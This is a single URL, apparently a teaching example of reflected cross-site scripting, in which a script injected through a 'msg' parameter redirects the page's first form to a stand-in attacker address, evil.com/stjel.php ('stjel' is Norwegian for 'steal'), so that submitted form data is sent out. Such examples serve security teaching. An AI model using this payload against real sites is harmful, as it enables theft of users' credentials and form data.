http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>